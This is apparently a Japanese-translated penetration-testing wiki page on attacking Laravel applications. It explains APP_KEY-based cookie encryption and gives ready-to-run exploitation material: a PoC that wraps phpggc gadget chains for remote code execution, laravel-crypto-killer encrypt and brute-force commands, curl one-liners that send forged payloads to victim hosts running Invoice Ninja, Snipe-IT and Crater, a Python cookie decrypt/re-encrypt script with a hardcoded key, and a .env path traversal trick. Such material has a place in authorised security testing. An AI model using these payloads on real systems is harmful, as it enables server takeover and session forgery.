Laravel

Reading time: 10 minutes

Laravel SQLInjection

ここで情報を読む: https://stitcher.io/blog/unsafe-sql-functions-in-laravel

APP_KEY & Encryption internals (Laravel \u003e=5.6)

Laravelは、内部でHMAC整合性を持つAES-256-CBC（またはGCM）を使用しています（Illuminate\\Encryption\\Encrypter）。 最終的にクライアントに送信される生の暗号文は、次のようなJSONオブジェクトのBase64です:

{
"iv"   : "Base64(random 16-byte IV)",
"value": "Base64(ciphertext)",
"mac"  : "HMAC_SHA256(iv||value, APP_KEY)",
"tag"  : ""                 // only used for AEAD ciphers (GCM)
}

encrypt($value, $serialize=true) はデフォルトでプレーンテキストを serialize() し、decrypt($payload, $unserialize=true) は自動的に unserialize() された値を復号化します。したがって、32バイトの秘密 APP_KEY を知っている攻撃者は、暗号化されたPHPシリアライズオブジェクトを作成し、マジックメソッド（__wakeup、__destruct、…）を介してRCEを得ることができます。

最小限のPoC（フレームワーク ≥9.x）：

use Illuminate\Support\Facades\Crypt;

$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil  = Crypt::encrypt($chain);            // JSON->Base64 cipher ready to paste

生成された文字列を任意の脆弱な decrypt() シンク（ルートパラメータ、クッキー、セッションなど）に注入します。

laravel-crypto-killer 🧨

laravel-crypto-killer は、全プロセスを自動化し、便利な bruteforce モードを追加します：

# Encrypt a phpggc chain with a known APP_KEY
laravel_crypto_killer.py encrypt -k "base64:<APP_KEY>" -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Decrypt a captured cookie / token
laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>

# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt

スクリプトはCBCおよびGCMペイロードの両方を透過的にサポートし、HMAC/タグフィールドを再生成します。

実世界の脆弱なパターン

エクスプロイトのワークフローは常に次のとおりです：

1. 32バイトのAPP_KEYを取得またはブルートフォースします。
2. PHPGGCを使用してガジェットチェーンを構築します（例えばLaravel/RCE13、Laravel/RCE9またはLaravel/RCE15）。
3. 回収したAPP_KEYとlaravel_crypto_killer.pyを使用してシリアライズされたガジェットを暗号化します。
4. 脆弱なdecrypt()シンク（ルートパラメータ、クッキー、セッションなど）に暗号文を送信してRCEをトリガーします。

以下は、上記の各実世界CVEの完全な攻撃パスを示す簡潔なワンライナーです：

# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - | \
xargs -I% curl "https://victim/route/%"

# Snipe-IT ≤6 – XSRF-TOKEN cookie
php7.4 phpggc Laravel/RCE9 system id -b | \
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v - > xsrf.txt
curl -H "Cookie: XSRF-TOKEN=$(cat xsrf.txt)" https://victim/login

# Crater – cookie-based session
php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login

マス APP_KEY 発見によるクッキー総当たり攻撃

新しい Laravel のレスポンスは少なくとも 1 つの暗号化されたクッキー（XSRF-TOKEN と通常は laravel_session）を設定するため、パブリックインターネットスキャナー（Shodan, Censys, …）は数百万の暗号文を漏洩させ、オフラインで攻撃可能です。

Synacktiv によって発表された研究の主な発見（2024-2025）：

• データセット 2024年7月 » 580 k トークン、3.99 % のキーが解読（≈23 k）
• データセット 2025年5月 » 625 k トークン、3.56 % のキーが解読

• 1,000 サーバーがレガシー CVE-2018-15133 に対して依然として脆弱で、トークンが直接シリアライズされたデータを含んでいます。

• 巨大なキーの再利用 – トップ10の APP_KEY は商業用 Laravel テンプレート（UltimatePOS, Invoice Ninja, XPanel, …）にハードコーディングされたデフォルトです。

プライベート Go ツール nounours は AES-CBC/GCM の総当たりスループットを約 15 億試行/秒に押し上げ、フルデータセットの解読を 2 分未満に短縮します。

Laravel トリック

デバッグモード

Laravel が デバッグモード の場合、コード と 機密データ にアクセスできます。
例えば http://127.0.0.1:8000/profiles:

これは通常、他の Laravel RCE CVE を悪用するために必要です。

.env

Laravel はクッキーや他の資格情報を暗号化するために使用する APP を .env というファイルに保存しており、次のパストラバーサルを使用してアクセスできます：/../.env

Laravel はエラーを見つけたときにデバッグページ内にもこの情報を表示します（それが有効になっている場合）。

Laravel の秘密の APP_KEY を使用して、クッキーを復号化し再暗号化できます：

クッキーの復号化

import os
import json
import hashlib
import sys
import hmac
import base64
import string
import requests
from Crypto.Cipher import AES
from phpserialize import loads, dumps

#https://gist.github.com/bluetechy/5580fab27510906711a2775f3c4f5ce3

def mcrypt_decrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.decrypt(value)


def mcrypt_encrypt(value, iv):
global key
AES.key_size = [len(key)]
crypt_object = AES.new(key=key, mode=AES.MODE_CBC, IV=iv)
return crypt_object.encrypt(value)


def decrypt(bstring):
global key
dic = json.loads(base64.b64decode(bstring).decode())
mac = dic['mac']
value = bytes(dic['value'], 'utf-8')
iv = bytes(dic['iv'], 'utf-8')
if mac == hmac.new(key, iv+value, hashlib.sha256).hexdigest():
return mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))
#return loads(mcrypt_decrypt(base64.b64decode(value), base64.b64decode(iv))).decode()
return ''


def encrypt(string):
global key
iv = os.urandom(16)
#string = dumps(string)
padding = 16 - len(string) % 16
string += bytes(chr(padding) * padding, 'utf-8')
value = base64.b64encode(mcrypt_encrypt(string, iv))
iv = base64.b64encode(iv)
mac = hmac.new(key, iv+value, hashlib.sha256).hexdigest()
dic = {'iv': iv.decode(), 'value': value.decode(), 'mac': mac}
return base64.b64encode(bytes(json.dumps(dic), 'utf-8'))

app_key ='HyfSfw6tOF92gKtVaLaLO4053ArgEf7Ze0ndz0v487k='
key = base64.b64decode(app_key)
decrypt('eyJpdiI6ImJ3TzlNRjV6bXFyVjJTdWZhK3JRZ1E9PSIsInZhbHVlIjoiQ3kxVDIwWkRFOE1sXC9iUUxjQ2IxSGx1V3MwS1BBXC9KUUVrTklReit0V2k3TkMxWXZJUE02cFZEeERLQU1PV1gxVForYkd1dWNhY3lpb2Nmb0J6YlNZR28rVmk1QUVJS3YwS3doTXVHSlhcL1JGY0t6YzhaaGNHR1duSktIdjF1elwvNXhrd1Q4SVlXMzBrbTV0MWk5MXFkSmQrMDJMK2F4cFRkV0xlQ0REVU1RTW5TNVMrNXRybW9rdFB4VitTcGQ0QlVlR3Vwam1IdERmaDRiMjBQS05VXC90SzhDMUVLbjdmdkUyMnQyUGtadDJHSEIyQm95SVQxQzdWXC9JNWZKXC9VZHI4Sll4Y3ErVjdLbXplTW4yK25pTGxMUEtpZVRIR090RlF0SHVkM0VaWU8yODhtaTRXcVErdUlhYzh4OXNacXJrVytqd1hjQ3FMaDhWeG5NMXFxVXB1b2V2QVFIeFwvakRsd1pUY0h6UUR6Q0UrcktDa3lFOENIeFR0bXIrbWxOM1FJaVpsTWZkSCtFcmd3aXVMZVRKYXl0RXN3cG5EMitnanJyV0xkU0E3SEUrbU0rUjlENU9YMFE0eTRhUzAyeEJwUTFsU1JvQ3d3UnIyaEJiOHA1Wmw1dz09IiwibWFjIjoiNmMzODEzZTk4MGRhZWVhMmFhMDI4MWQzMmRkNjgwNTVkMzUxMmY1NGVmZWUzOWU4ZTJhNjBiMGI5Mjg2NzVlNSJ9')
#b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"vYzY0IdalD2ZC7v9yopWlnnYnCB2NkCXPbzfQ3MV\\";s:8:\\"username\\";s:8:\\"guestc32\\";s:5:\\"order\\";s:2:\\"id\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605140631}\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e'
encrypt(b'{"data":"a:6:{s:6:\\"_token\\";s:40:\\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2SwepVOiUw\\";s:8:\\"username\\";s:8:\\"guest60e\\";s:5:\\"order\\";s:8:\\"lolololo\\";s:9:\\"direction\\";s:4:\\"desc\\";s:6:\\"_flash\\";a:2:{s:3:\\"old\\";a:0:{}s:3:\\"new\\";a:0:{}}s:9:\\"_previous\\";a:1:{s:3:\\"url\\";s:38:\\"http:\\/\\/206.189.25.23:31031\\/api\\/configs\\";}}","expires":1605141157}')

Laravel デシリアライズ RCE

脆弱なバージョン: 5.5.40 および 5.6.x から 5.6.29 (https://www.cvedetails.com/cve/CVE-2018-15133/)

ここでデシリアライズの脆弱性に関する情報を見つけることができます: https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/

https://github.com/kozmic/laravel-poc-CVE-2018-15133を使用してテストおよび悪用できます。
また、metasploitを使用しても悪用できます: use unix/http/laravel_token_unserialize_exec

CVE-2021-3129

別のデシリアライズ: https://github.com/ambionics/laravel-exploits

参考文献

• Laravel: APP_KEY 漏洩分析 (EN)
• Laravel : APP_KEY の漏洩分析 (FR)
• laravel-crypto-killer
• PHPGGC – PHP ジェネリックガジェットチェーン
• CVE-2018-15133 の詳細 (WithSecure)